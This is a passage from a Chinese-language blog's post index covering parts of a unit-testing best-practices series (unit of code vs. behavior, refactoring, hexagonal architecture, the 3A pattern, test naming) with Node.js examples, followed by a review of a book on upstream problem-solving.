用最小維護成本提供出最大的價值 基於第三點的目標, 可以看出書中其實不推薦開發者為所有程式碼都加上 Unit Test雖然帶來的效益可能不錯, 但取而代之的是維護成本極高 可以試想, 當你為所有程式都寫上 Unit Test 之後當你要開始重構或是因為新功能開始把其他程式進行合併原本寫的 Unit Test 基本上會變得毫無作用甚至因為寫了太多 Unit Test 導致執行測試時間過長 當然這並不是說為所有程式寫上 Unit Test 不好但我們要思考的是會有一些隱藏成本存在的 竟然目標已經有了, 接著就是要透過什麼方式達到書中提供以下四個面向, 以分析的角度去決定以及如何取捨去達到目標 Unit Test 的四個面向以下是書中提供的四個面向去思考, 看完之後我們再回頭看看剛剛舉例的 behavior Protection against regression: 保護程式不出現 Bug Resistance to refactoring: 不因重構導致影響撰寫 Unit Test Fast feedback: 能不能快速給予結果, 而不會等待很久 Maintainability: 能不能輕易理解/執行 unit test 的內容 關於第四點是一定必做的, 如果連第四點都做不到, 那就不會有人寫 Unit Test 了除了第四點是必做之外, 其他三點之間會有一些互斥行為存在 舉例來說, 要把 Protection against regression 做到極致的話就會需要寫很多 Unit Test, 但這會導致 Resistance to refactoring 指標往下降 上面這段話很饒口對吧, 用白話來說的話就是 『要把 Bug 降到最低的話, 就把所有程式都加上 Unit Test 就好 (unit of code)但當把所有程式加上 Unit Test, 哪天要重構功能時, 大部分的 Unit Test 都不能跑了』 這裡定義一下重構為『在不改變程式外在行為的前提之下,改變程式內部結構以提升設計品質』可以看看在 Teddy 的投影片裡提到的重構的定義 假設 Unit Test 測試的粒度, 以上篇提到的 unit of code 中的例子, 測試『hash 使用者密碼』原本程式碼如下123// hash.jsconst crypto = require(\"crypto\")module.exports = (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\") 測試程式碼如下1234567891011const hash = require(\"hash.js\")it(\"when give the string to hash 256, should return sha256 string\", () => { // arrange const exceptedResult = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = hash(\"123\") // assert expect.equal(actualResult, exceptedResult)}) 未來因為部分的程式需要用到 sha512所以需要加上其他的 hash 方式, 想要調整此程式碼變成如下123456// hash.jsconst crypto = require(\"crypto\")module.exports = { sha256: (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\"), sha512: (password) => crypto.createHash(\"sha512\").update(password).digest(\"hex\")} 測試程式碼就需要進行調整1234567891011const hash = require(\"hash.js\")it(\"when give the string to hash 256 should return sha256 string\", () => { // arrange const exceptedResult = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = hash.sha256(\"password\") // assert expect.equal(actualResult, exceptedResult)})以 unit of code 概念來說, 這樣重構時, 就會需要連 Unit Test 一起重構 但如果以 unit of behavior 來說, 舉例如下12345678910111213const userService = require(\"./userService.js\")it(\"when user type correct password, user should login successfully\", () => { // arrange const exceptedResult = true const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = userService.isPasswordMatch(\"123\", hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 眼尖的讀者應該有發現到筆者在 Unit Test 裡面有寫註解關於 arrange, act, assert這其實是很著名的 3A Pattern 寫法後面在提到如何寫好的 Unit Test 時會講到 因為 unit of behavior 關注的點是輸入密碼這個行為造成的結果, 並不用關注裡面怎麼去實作 hash 這件事情所以在重構 hash function 的時候, 就不會需要重新調整 unit test 了而且重構 hash function 之後, 跑完 unit test 如果是通過也就代表結果正確 另外上述這種測試方式, 是針對『實作細節』去進行的而『實作細節』是有可能跟著重構變更, 但程式的最終結果除非需求改變否則不會變更如下圖所示, 書中是不推崇過度測試『實作細節』 過度使用 unit of code 的方式除了會降低 Resistance to refactoring 這個指標外也會降低 Fast Feedback 這個指標因為過多的 Unit Test 會讓整體跑 Unit Test 拉得過長 以這三個指標來說, 會出現以下這張結果 這張圖是以 Resistance to refactoring 為主軸去調整以 Resistance to refactoring 為主, 也就是書中的核心思想『The goal is to enable sustainable growth of the software project.』 書中也提到這個三角形是可變動的如果希望系統很少 Bug, 那麼相對應 Test Case 就會寫得非常多去驗證所以主軸可能就會以 Protection against regression 為主也就是以剛剛的測試『hash 使用者密碼』來說這個 Test Case 就需要測試 那剩下就是 Resistance to refactoring 和 Fast feedback 去選擇這很難拿到三項都是完美的一百分,所以會有一個折衷點存在 題外話: 這也很類似分散式系統裡面的 CAP 理論 後記筆者認為根據不同情境會組出不同樣的組合舉極端的例子, 如果只是很初期 MVP 用的專案的話, 甚至連 Unit Test 都不需要因為產品沒辦法趕快生出來的話, 可能就被別家搶走生意了好不好維護這是以後等生意做成再來考慮的事情不然沒生意的話, 這個專案可能就直接進垃圾桶了 QQ 那麼如果要寫好一個 unit test 該怎麼寫呢?.............我們得先來看看重構!來看看下一篇為何寫好 Unit Test 前需要先了解重構?","link":"/2020/09/21/unit-test-best-practice-part-2/"},{"title":"Unit Test 實踐守則 (三) - 為何寫好 Unit Test 前需要先了解重構?","text":"前言上一篇我們會討論了 如何從什麼層面去思考一個好的 Unit Test?接著我們討論到寫好 Unit Test 前需要先看看重構 書中提到 Unit Test 和 Code Base 是彼此非常糾纏的原文是這樣寫道 Unit tests and the underlying code are highly intertwined,and it’s impossible to create valuable tests without putting effort into the code base they cover. 所以在寫好一個 Unit Test 之前, 是需要先把程式碼進行重構這樣才有辦法寫出一個好的 Unit Test 但有趣的就來了, 如果先進行重構才去寫 Unit Test 又要怎麼確認重構後的邏輯是正確的?在 91 大的 2012 年這篇文章最後面的補充也提到了這蛇咬尾巴的矛盾點 所以比較好的方式, 是額外先寫更高層一點的測試, 先確保邏輯上是沒有問題再來進行重構而這個更高層一點的測試, 是有可能只用一次用完就丟, 這很正常因為當程式碼開始進行重構的時候, 原本這個更高層的測試可能 mock 一堆內部方法但隨著內部方法被重構之後, 呼叫的進入點可能改變, 這個測試就無用了但帶來的效益, 卻是程式碼更乾淨也更好維護, 而且更好寫測試 筆者經驗談:除非, 你能保證 100% 掌握住這段你想重構的『邏輯運作流程』那也許你就可以先不用寫更高層級的測試了, 就可以直接重構了 (若你真的有信心的話)不過有的時候, 是把部分程式碼變成 function 拉出來的這種重構就相對單純但就算簡單, 依舊很難確保拉出來就沒有問題 雖然我真的幹過直接重構然後才寫 Unit Test, 還好結果是沒問題的 (擦汗但這前提真的是很清楚邏輯且邏輯簡單才敢這樣做當系統中遺留舊有程式的邏輯太過複雜, 我還是會先建立一個到多個測試確保等等不會改壞 在這裡會簡單介紹書中提到的一些重構的方式和架構 重構書中提供兩種維度, 把我們的 Code Base 分成了四個種類 縱向的是邏輯和 domain knowhow 的重要性橫向的是與其他程式碼之間有沒有很大的關聯度 以上圖中例子來說在 MVC 架構中, Controller 往往代表控制流程的角色business logic 並不存在於 Controller 之中所以 business logic 相關的基本上會在左上的位置 根據這兩種維度, 可以分辨出哪一段程式碼是最重要的就可以針對這部份進行 Unit Test 或是重構像下圖中左下角沒有太大作用會影響 Business Logic 的話, 可以不用在測試的優先序前面幾位譬如說是 getter 或是 setter 的程式 而右上是過度複雜的部分當一段程式碼把流程和商業邏輯全部砸在一塊的時候想必非常難懂, 所以要往兩邊的維度去拆分, 如下圖 除了程式碼的拆分之外, 每個模組之間的相依性也很重要書中也建議用 hexagonal architecture 的方式去連接每一個模組, 示意圖如下 舉例來說明一下 hexagonal architecture 是什麼概念以上面『使用者輸入正確帳號密碼, 登入成功』的例子來說我們再多加一小段行為變成『使用者輸入正確帳號密碼, 登入成功, 並寄信給使用者通知登入成功』我們把流程拆成如下 撈取資料庫資料 hash 使用者密碼 比對 hash 過後的使用者密碼和資料庫的密碼是否一致 一致的時候, 使用 SMTP service 寄信給使用者 12345678910Database --- Login service ---- SMTPLogin service 包含項目如下 (六角形白色區塊)1. Read user data2. Trigger business logic3. Send emailLogin service 裡的 business logic 包含項目如下 (灰色圈圈)1. hash input password2. compare user password and input password 我們再把上面描述的用較平面化來的表示可以看到操作 database 相關的, 絕對不會是 business logic 那部份的程式去存取一定是交由從的 application service 去存取 我們來舉上面的情境換做成程式來看一下範例假設真的有一段程式是都塞在同一隻程式裡面大概會長這樣(以下程式為示意, 並不能正確執行)1234567891011121314// loginController.jsfunction login(request) { const {account, password} = request const user = userDb.find(account) const hashPassword = require(\"crypto\").createHash(\"sha256\").update(password).digest(\"hex\") if (user.password !== hashPassword) { throw new Error(\"Mismatch\") } const axios = require(\"axios\") axios.post(mailServiceUrl, { mail: user.email, title: \"You have logined successfully\" }))}這個要做 unit test 是非常難做到的, 因為太過混雜而且也嚴重打破 hexagonal architecture 的結構 如果真的要在重構前先寫一個測試確保等等不會改壞的話, 大致上會寫成以下這樣 123456789101112131415161718192021const loginController = require(\"./loginController.js\")const axios = require(\"axios\")const userDb = require(\"userDb.js\")describe(\"when user type correct password, user should be allow to login\", () => { // arrange const request = {account: \"account\", password: \"123\"} sinon.stub(userDb, \"find\").withArgs(request.account).return({ password: \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\", email: \"123@gmail.com\" }) const mock = sinon.mock(axios) mock.expects(\"post\").once() // act // 如果沒有成功呼叫, 就會噴出 Error loginController.login(request) // assert // 驗證是否有呼叫寄信程式 mock.verify()}) 那因為這個只是示意一下在這種情況下該如何寫測試所以實際上跑 express 並不會這樣測試但這樣測試的話, 其實某方面來說就會變成 Integration test 了詳細的 Integration test 部分下一篇會介紹到 那麼 …… 如果我們要寫好一個 unit test, 那我們就勢必得先重構上面的程式碼這邊先以簡單拆法為主, 所以可能不是非常完美, 但用例子解釋就足夠了透過這樣拆成模組化, 到時候再使用類似 sinon 的 mock 工具時會更輕易能夠做 mock 如果邏輯比這個更複雜的情況下還是建議先向上面一樣, 先寫一個更高級別的 Test 去確保但這邊邏輯很單純, 於是我就直接進行重構了 123456789101112131415161718192021222324252627282930313233// loginController.jsfunction login() { const user = userDb.find(\"account\") if (userService.isPasswordMatch(user.password, inputPassword) === false) { return new Error(\"Mismatch\") } mail.send(user.email);}// hash.jsconst crypto = require(\"crypto\")module.exports = { sha256: (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\") }// userService.jsconst hash = require(\"hash.js\")module.exports = { isPasswordMatch: (userPassword, inputPassword) => { return userPassword === hash.sha256(inputPassword) }}// mail.jsconst axios = require(\"axios\")module.exports = { send: (email) => { axios.post(mailServiceUrl, { mail: user.email, title: \"You have logined successfully\" })) }} 從上面例子可以看到 hash 已經不會出現在 loginController 的流程控制中了而是會出現在管控 business logic 的程式碼裡面這樣也看得出來我們最重要的 business logic 是位在 userService 裡面了用六角形圖來看會變這樣 接著根據上一篇, 好的 Unit test 要『專注在最重要的程式』我們應該要測試的地方就是在這塊 business logic這樣拆分就有達到上圖四的切割了 所以在進行 unit test 的時候會如下這時候可以看到我們根本不需要去使用 Test Double 就可以完成對 business logic 的測試了 12345678910111213describe(\"when user type correct password, user should be allow to login\", () => { // arrange const exceptedResult = true const userInputPassword = \"123\" const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" const userService = require(\"./userService.js\") // act const actualResult = userService.isPasswordMatch(userInputPassword, hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 後記以上就是重構的一些方法簡單介紹完重構之後, 那我們就根據此篇最後的 unit test 去看看如何寫出一個好的 Unit Test?","link":"/2020/09/28/unit-test-best-practice-part-3/"},{"title":"Unit Test 實踐守則 (一) - Unit Test 定義是什麼, 涵蓋的範圍又是哪些?","text":"前言這篇是看完『Unit Testing Principles, Practices, and Patterns』後所記錄看完這本書對於 Unit Test 的認知有很大的幫助接下來的文章會成以下幾篇大致介紹書中內容 第一篇會討論到 Unit Test 定義是什麼, 涵蓋的範圍又是哪些? 第二篇會討論到 如何從什麼層面去思考一個好的 Unit Test? 第三篇會討論到 為何寫好 Unit Test 前需要先了解重構? 第四篇會討論到 如何寫出一個好的 Unit Test? 第五篇會討論到 如何有效使用 Test Double 這篇會開始談到 Integration Test 定義 文章內有任何問題或是不清楚的, 歡迎一起來討論!不過因為本書內容量實在太多, 沒辦法一一介紹, 所以只介紹筆者覺得很精華的點以後有時間會繼續補完本書介紹的所有內容 XD 書中範例程式皆是用 C# 寫的, 不過這邊範例是我用 Node.js 加上新的範例寫出來的範例我也換成比較簡單的去解釋,概念都是相同的不必太過擔心語言不同問題不過若是範例不是很精準,可以在留言建議我唷!! 介紹書中針對 Unit Test 的認知是『The goal is to enable sustainable growth of the software project.』並不太像筆者的認知, 認為 Unit Test 是為了拿來防止 Bug 出現 書中此認知的原因是程式很快就從 draft 變成小中型專案, 但要如何讓專案變成可持續成長是難事寫 Unit Test 就可以讓專案變成可持續成長的一個關鍵 而何謂可持續成長?當專案越來越大的時候, 相對應的維護成本也越來越高當重構一個功能的時候可能會不小心改動其他功能, 而導致問題出現當新增一個功能的時候可能會因為舊有架構導致新功能難以實作, 增加測試難度以及開發時間其實這些可以透過測試去把專案維持著品質而常用的測試包含 Unit Test, Integration Test 以及 E2E Test但這邊就專注在 Unit Test 去討論吧!後面有文章談到 Integration Test 什麼是 Unit Test?書中給了以下三個答案 驗證一小段的程式碼, 並以驗證單一行為為主, 就是 unit of behavior 執行快速 獨立性 (isolated) 不受其他 unit test 影響 針對 2, 3 點, 大部分的資料是比較沒有爭議的像是比較有名的 F.I.R.S.T. 也有提到這幾點但較有爭議的是第 1 點, 也就是 unit 的定義 書中有提到兩種不同定義一個是 unit of code一個是 unit of behavior不同的定義涵蓋的測試範圍也不太一樣 書中定義上, 會使用以下兩個 School 去介紹London School = unit of codeClassical School = unit of behavior但為了文章好記, 這邊我就以後者的寫法去介紹 Unit of code v.s Unit of behavior先來說說什麼是 unit of code, 什麼是 unit of behavior『輸入正確帳號密碼,登入成功』此情境說明的就是一個 behavior 造成的結果但要怎麼組成 behavior ? 是透過很多 unit of code 組合而成的 以此情境來說把『輸入正確帳號密碼,登入成功』拆成程式碼去解讀會有以下程式碼的部分, 假設每一個部分都有相對應得程式碼 撈取資料庫資料 hash 使用者密碼 比對 hash 過後的使用者密碼和資料庫的密碼是否一致 如果測試的粒度是測試『hash 使用者密碼』, 那就是 unit of code因為測試的東西, 並不是使用者會專注的結果, 而是開發者會專注的結果使用者只關注輸入帳號密碼能不能成功, 可能也不管你是不是用 hash, 這就是不同面向的差異而除了測試的粒度不同之外unit of code 和 unit of behavior 所定義的獨立性也有所不同 先以一個 Node.js module 來說好了, 這個 A module 用到 B module 和資料庫這兩個相依性在 unit of code 之中, 是會使用 Test Double 在 B module 和資料庫上並進行測試在 unit of behavior 之中, 只會在資料庫使用 Test Double, 但會保留對 B module 的相依性, 並進行測試 這裡快速介紹一下使用 Test Double 是怎麼回事Test Dobule 簡單來說可以去更改或是紀錄原始碼的行為以及驗證的一種方法下面範例是用 sinon 的 stub 去示範 (stub 是屬於 Test Double 的一種)在更詳細的介紹可以參考之前我寫的Test Double - 測試替身 123456789101112// 下面是一個 function, 帶入什麼就會回傳什麼const a = { test: (param) => {return param}}a.test(10) // return 10a.test(15) // return 15// 但透過 stub, 可以做到更改的回傳值, 也就是更改程式邏輯const sinon = require(\"sinon\")sinon.stub(a, \"test\").returns(\"hihihi\")a.test(10) // hihihia.test(15) // hihihi 下圖表示的方式就是 unit of code每一個 production code 的 class/module 就會對應到一個 unit test這裡關注的點就會是所謂實作邏輯, 也就是上面提到類似 hash 的底層實作邏輯 而在 unit of code 中如果 module/class 之間有相依性的話, 會透過 Test Double 把相依性改取代掉 而在 unit of behavior 中如果 module/class 之間有相依性的話, 則是會使用原本邏輯, 不去使用 Test Double 但如果以 behavior 為基準, 有人會認為這樣就是 Integration Test 了, 而不是 Unit Test其實兩者差異差書中有說到其中有一個特徵是有沒有實際對外部資源進行存取, 也就是有沒有使用資料庫或呼叫第三方資源是關鍵如果沒有, 那就是 Unit Test如果有, 那就是 Integration Test 但有文章指出這種 behavior 測試的方式, 其實是社交型 Unit Test可以參考探討單元測試和整合測試的涵蓋範圍 其實 unit of code 和 unit of behavior 各有好壞並不是說哪個好, 就一定要用哪個, 來看看各個優缺點是什麼 以下說的 mock 是 Test Double 的一種 Unit of code 優劣點 優點 當測試失敗時, 你會很清楚就是你測試的程式邏輯出了問題 因為你都把其他內部 dependency 都 mock 掉 所以會知道就是測試的程式有問題 撰寫測試時, 只需要根據 Code Base 去寫相對應的 Unit Test 例如說 A Class 用到 B Class 和 C Class 這兩個內部 dependency Unit Test 就是寫出 A Test, B Test, C Test 這三個相對應得測試程式 缺點 會過度使用 mock 機制, mock 大量內部 dependency 的程式 可能會導致最終程式跑 Integration Test 時直接炸裂 每個 Unit Test 跟 Code Base 基本上是 1:1, 這會導致重構時大部分的 Unit Test 也需要被翻新 測試時可能會跟文件定義的測試案例過度不符合 因為專注在 unit of code, 所以程式中會大量測試使用者不在意的測試結果 這會導致過度去測試實作邏輯 Unit of behavior 優劣點 優點 從使用的人角度去注重程式產生的行爲, 能夠有效驗證結果 加上因為不會 mock 內部 dependency 的程式, 只會 mock 外部 dependency 內部程式的 Business Logic 可以較完整被執行 寫 Unit Test 時不需關注其他內部 dependency 程式的實作邏輯 就像上面提到的 hash function, 寫 unit test 時不需針對 hash function 去撰寫 就可以避免重構 hash function 時導致 unit test 也要跟著重寫 缺點 因為不會 mock 內部 denpendency, 所以執行 Unit Test 錯誤時 可能會較難判別錯誤是出現在哪裡 但如果是所有測試案例都失敗的話, 很有可能就是共用的內部 dependency 出錯 這樣反而是優點, 因為就代表此 dependency 影響範圍是全體程式碼 後記當然這不是誰優點多就選誰這兩個也只是一個名字去代表不同 Unit Test Style當你今天寫了一個 SDK 裡面有一個 add(a,b)function 給別人使用試問, 你測試這個 add function 是 unit of code 還是 unit of behavior ? 不過依照本書的立場, 大多數的專案是建議走 unit of behavior 的方式進行 從這篇知道了 Unit Test 是什麼以及測試的範圍但要怎麼知道『一個好的 Unit Test』是什麼樣子?來看看下一篇什麼樣是一個好的 Unit Test? 該從怎麼層面思考?","link":"/2020/09/14/unit-test-best-practice-part-1/"},{"title":"Unit Test 實踐守則 (四) - 如何寫出一個好的 Unit Test?","text":"前言上一篇我們會討論了 為何寫好 Unit Test 前需要先了解重構?接著我們就要進入正題了 如何寫出一個好的 Unit Test我們拿上一篇重構完成之後的程式碼來看看 Unit Test 的結構 12345678910111213describe(\"when user type correct password, user should be allow to login\", () => { // arrange const exceptedResult = true const userInputPassword = \"123\" const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" const userService = require(\"./userService.js\") // act const actualResult = userService.isPasswordMatch(userInputPassword, hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 在此範例中看到了 arrange, act 以及 assert, 這是著名的 3A pattern下面來解釋各個步驟代表什麼意思 Arrange這是準備階段, 準備一些關於待測程式的資料以及結果通常這個階段會有很大量的程式碼存在包含設置 Test Double 在資料庫或第三方 API 之類詳細 Test Double 用途可以參考之前寫過一篇有介紹 Test Double 而這階段要注意的是不能暴露程式的實作邏輯在這裡這些實作邏輯應該是要包在 Code Base 裡面的才對 以下面程式為例子, exceptedResult 不應該用 1+1 的邏輯去賦予, 而是應該直接給予 2類似這種算是實作邏輯, 是不建議這種邏輯出現在 Unit Test 中像是遇到重構的時候, 就連同 Unit Test 邏輯都要調整 1234567891011// 不適合的做法, 因為暴露出實作邏輯describe(\"when 1+1, result should return 2\", () => { // arrange const exceptedResult = 1 + 1 // act const actualResult = add(1, 1) // assert expect.equal(actualResult, exceptedResult)}) 還有一種實作邏輯要避免那就是 if-else 不該出現在 Unit Test 之間出現 if-else 就代表了, 把實作邏輯帶來到 Unit Test 這也會帶來相對應的缺點變成一次維護兩套邏輯, 分別在 Test Code 和 Production Code 上面 這樣不管是新加功能或是重構, 都是有可能更改到 Unit Test而更危險的是 …… 如果因為每次更改功能導致要修改大量 Unit Test, 那麼 Unit Test 很容易就走不下去了 Act在這個階段, 通常只會有一行程式碼這階段出現多行程式是不建議的做法, 會帶來以下幾項缺點 當 Unit Test 失敗, 很難分辨到底是呼叫哪一個行為導致失敗 Code Base 可能設計不夠良好, 沒有足夠的封裝 Assert在 Unit of Code 的結果中, 通常只會有一個單一結果要驗證但在 Unit of Behavior 的結果中, 是會有多種結果需要驗證所以在這個階段, 程式碼不一定只會有一行, 是會有多行的可能性取決於你怎麼定義你的 Unit Test 的結果 而這個階段也不該去驗證程式的實作邏輯的結果就上前幾篇提到的 hash function以使用者角度可能覺得我密碼打對就讓我登入成功就好我也不管你是用 hash crypto 什麼方式去處理所以要驗證的是密碼是否比對成功這個結果, 而不是用 hash 這個細節 可以參考測試該驗證結果還是該驗證細節裡面其實也提到跟書中一樣的概念 除了以上 3A Pattern 之外, 其實還有最重要的部分也就是 unit test 的名字內容寫法 因為這個結果是給人在看的, 萬一寫的不清不楚接手的人也不知道這個 unit test 到底在測試什麼東西就會間接導致, 接手的人不知道這個 unit test 測試什麼, 於是寫了一個新的 unit test結果這兩個 unit tes 在測試一模一樣的東西, 這就有點尷尬了那我們來說說怎麼寫比較適合 Unit Test 的名字內容寫法這邊特別申明一下因為書中是使用 C#, 所以 unit test 名稱就是 function 名稱, 這跟 java 也很相似這邊會以書中的範例為主, 至於 js 的會在最後面用另一篇個觀點來描述所以我們先看看書中 C# 的寫法吧! 書中針對 unit test 名字有以下三個 guidelines 不要遵守死板的命名規則 在命名測試的時候, 當成要描述一個情境給一個不懂程式, 但卻懂這個 domain knowhow 的人聽 把每一個文字用下底線(_)去區分開來 讓我們先看看第一個 unit test 的名字這個範例是名稱是 IsDeliveryValid_InvalidDate_ReturnsFalse這個代表是說, 當帶入了一不合法的日期時, 這個驗證日期要回傳 false12345678910public void IsDeliveryValid_InvalidDate_ReturnsFalse(){ DeliveryService sut = new DeliveryService(); DateTime pastDate = DateTime.Now.AddDays(-1); Delivery delivery = new Delivery(pastDate); bool isValid = sut.IsDeliveryValid(delivery); Assert.False(isValid); } 我們試著以上述第二點重新去轉換變成如下Delivery_with_invalid_date_should_be_considered_invalid 看起來好多了, 對吧?不過 … 什麼是 invalid date?所以在近一步更新這個 unit test 名字變成如下Delivery_with_past_date_should_be_considered_invalid 不過還有一些贅字要調整像在不合法就直接說不合法就好, 不用強調 be considered invalid所以會變成如下Delivery_with_past_date_should_be_invalid 這樣看起來就完美多了不過最後在書中, 有提到因爲測試是「敘述一件事實』所以不應該有 should 存在, 最後會變成如下Delivery_with_a_past_date_is_invalid 最後這段就見仁見智了個人覺得可以不必遵守到最後一段就像上面第一點 guidelines 提到的, 不要遵守死板的命名規則因為有時特意遵守死板規則, 可能會導致別人看不懂 但其實在修改敘述過程中, 就很像在校稿一樣你要把內容調整成有明確意思, 且容易讓別人看懂的方式 寫 js 的人看到這邊一定很問號, 那 describe-it 的話要怎麼寫!?其實別慌張, 做法其實跟他的 guidelines 一樣試著在寫 describe-it 的內容時, 當成是在跟不懂程式, 但懂 domain knowhow 的人說明情況以上面例子就會變成descrit("When delivery is given a past date, it should be invalid") 那因為 describe-it 可以進行分層, 所以分層可以根據 javascript-testing-best-practices這種概念來進行分層, 執行下來會有以下兩張圖的差距是不是右邊讀起來比較易讀? 但要注意的是, 分層的名字記得也要分得有意義 後記看到這邊可能會產生兩個疑惑 那除了 business logic 以外都不用寫 unit test 嗎? 如果測試切入點從 controller 開始, 然後對 mock/stub 資料庫去做 unit test 不也是可以? 文章中有提到 Test Double, 但好像沒有說用在哪或是怎麼使用比較好? 以上這兩點會在下一篇如何有效使用 Test Double 解答","link":"/2020/10/05/unit-test-best-practice-part-4/"},{"title":"上游思維 - 在問題發生前解決的根本之道","text":"前言這本書個人覺得非常精彩,書中舉了非常大量讓我意想不到的範例去闡述作者想表達的事情,這篇紀錄以個人理解和覺得不錯的例子來提醒自己未來要注意的事情,書中太多精華很難在短短文章表達出來,很推薦大家閱讀。 何謂上游思維講到上游思維之前,先來看看一個情境。 書中舉的第一個例子就是旅遊網中的客服來電問題,在購買訂單後卻有 58% 的人打電話來尋求協助,無論是訂什麼類型的東西都是,那因為客服部門致力於效率和顧客滿意度,所以會希望越快解決客戶問題越好,但卻都沒有人問過『為什麼有那麼多人打客服電話給我們』?最後把問題鎖定變成『讓客戶不必打電話到公司客服』,後續就是原本打電話的人數從 58% 下降到 15%,這就是上游思維,透過上游行動,避免問題發生所採取的手段。 但要注意,上游行動和下游行動並不是擇一就好,有時是兩者都是需要,舉例來說拯救溺水的人,配置救生員和救生圈是一種下游做法,而上游作法則是教會當地小鎮人如何游泳,而書中強調的重點是要如何往上游去思考去預防問題發生。 剛剛客服的例子也是受困於下游思維的一個例子,而被受困於下游思維通常會有三個因素。 對問題盲目 缺乏負責人 隧道效應 接著會簡單帶出這三個所表達的意思 對問題盲目我們舉天氣來說,我們知道天氣很糟,但也無法做什麼,最後就接受了這個事實,對應到筆者職業上也可以這樣說,覺得寫程式一定會有很多 bug,這類型的認知就是屬於對問題盲目。當對問題盲目時,你會覺得『事情就樣啊,沒辦法』,這樣思維就很難往上游去以制高點看到真正的問題出在哪裡。在很多組織中一定會有『現況就是這樣,所以沒有人會質疑』的情況出現,所以需要的是把『看似正常的現象問題化』,才會跳脫出對問題盲目。 以工程師角度來說,之前從朋友聽過有一個例子很神奇,某間公司的 QA 工程師比開發工程師還要多,在詢問之下才發現原來他們的開發工程師都沒有在進行測試,甚至也不寫單元測試,而造成的後果就是需要更多更多的 QA 工程師來幫他們測試,但在那間的工程師我相信會覺得這件事情很正常,心想『開發工程師幹嘛測試?』,而這也是因為體制設計 (開發工程師可以不測試) 的關係,所以最終反映在結果上 (一堆 QA 幫忙擦屁股),進而導致徵了大量的人員,但都沒有用,會不會反而把這錢花在教他們寫單元測試上還比較好? 書中提到另一個很有趣的例子,有兩隻年輕小魚從魚缸一邊游到另一邊,途中有一隻老魚面對著他們游過去,就問了『今天的水如何』?兩隻小魚沒有回答,而是到了魚缸另一邊後,其中一隻問到『他說的水是什麼?』。這水其實就是對應到了體制,有時候我們會身在體制中卻感覺不到,因為我們會感覺到非常自然,一切都看似非常正常,而這後果就是對問題盲目。 缺乏負責人有些時候我們發現了真正問題,但卻不敢遲遲下手解決,一部分是因為自身利益,另一部分是認為自己缺乏採取行動的正當性,會覺得自己的身份不太適合,也就是心理資格不符合。 書中提到一個例子我覺得蠻有趣的,在校園的有些男大學生對於約會強暴事件感到非常震驚,但對於想加入由女性主導的示威活動卻感覺到是不是不恰當,接著有另一個小實驗說明了,組織名稱原本為『普林斯頓反一七四提案陣線』改為『普林斯頓男性與女性反一七四提案陣線』,男女方的請願書數量遠比一開始的高出許多。 所以要把思維想成並不是因為我必須解決這問題,而是我有能力解決這問題,加上這問題有需要被解決的必要,所以我才決定要面對這問題,不然會受限於心理資格有沒有符合,而導致不敢踏出那一步。 隧道效應當因為各種問題而分身乏術時,通常會放棄解決全部的問題,視野變得狹隘,只專注在眼睛看到的到事情上,不會思考更上游的行動,而做出的選擇就僅限於下游,就像在一個隧道中,通常你要做的事情就是面對那個光一直前進到出口為止。 這也就代表了光是緊急的問題可能就處理不完,可能就無法想到要問自己,為什麼這個狀況會一再出現呢?這也帶出另一個問題,書中提到說『親愛的團隊,我們必須給 XXX 掌聲,因為他即時滅火,如果不是他我們就慘了』的例子,這必須思考萬一這是一種行為循環,一直不斷在滅火,那麼是不是體制有問題? 而要跳出這個隧道,必須製造『空閒』出來,代表的是預先保留時間或是資源用來解決問題,當你把焦點放在一直前進上面,其實就無法暫停一下確認是否正在對的方向,所以適當的停下來思考並取得回饋是非常重要的。 中間各種例子書中經典例子想表達的想法太多了,我選擇列出覺得很不錯一個很有趣的例子和三個看到的共通點 眼鏡蛇問題這個案例是英國殖民印度的時候,英國官網對於德里出現太多眼鏡蛇感到憂心,所以發出了眼鏡蛇懸賞,只要帶著眼鏡蛇屍體來就可以換獎金,原本是想要滅絕眼鏡蛇的,但沒想到結果就是一部分人開始養起眼鏡蛇來,完全跌破官員的預想,這是一個設計新的制度,但卻根本沒有解決本質問題的案例。 讓資料說話在書中各種案例中,是有各種資料去把問題給說明出來,所以如何收集資料和快速得到資料是非常重要。舉例來說,有個案例是要預防社區妻子因家暴被殺死的情況,作法則是列出幾項類似『這個人是否曾經毆打你』等等問題,最後做一個統計分數,再根據統計分數決定要安排是不是需要有人定期巡邏等等對應策略。除此之外,也會有各種指標來衡量改善於否。 以系統角度俯瞰問題全貌裡面提到一個關於在島上生物鏈的問題,因為解決問題的人不是從系統面去看待問題,而是單一解決問題。例如因為 A 太多,導致 B 面臨滅絕問題,而打算滅掉 A,結果卻導致 C 因為吃不到 A,轉而吃 B。但如果以系統面,把整個島上的食物鏈畫出來,也許就能夠發現滅掉 A 的空缺後,可能會造成問題出現。 這個思考方式可以套用在所有職業上面,以工程師來說,大家最怕的是改 A 壞 B、改 B 壞 C、改 C 壞 A,但如果以全面性去思考,這個東西會影響哪幾個地方,會不會有一連串關係下去?把這個脈絡圖出來,一層一層去解析,也許就能根本性解決連鎖問題。 預先模擬操弄行為因為上游行動往往是制度面的改變,所以要先預想在這個制度下面會不會又有人鑽漏洞,書中給出五個測試方式,但我選擇最有感的測試分享在這,就是『懶惰官測試』,代表如果有人想用最取巧的方式讓新制度下需要達到的指標變得好看,可以怎麼做? 這個測試就可以拿來測試剛剛提到眼鏡蛇問題的情況,若我們只看眼鏡蛇數量的話,我要怎麼用取巧的方式增加這個指標,讓他變得好看呢?透過預先模擬,也能對問題的了解更加全面 上游行動的三項建議而要如何往上游行動,書中在最後給出三項建議 迅速行動,耐心等待結果 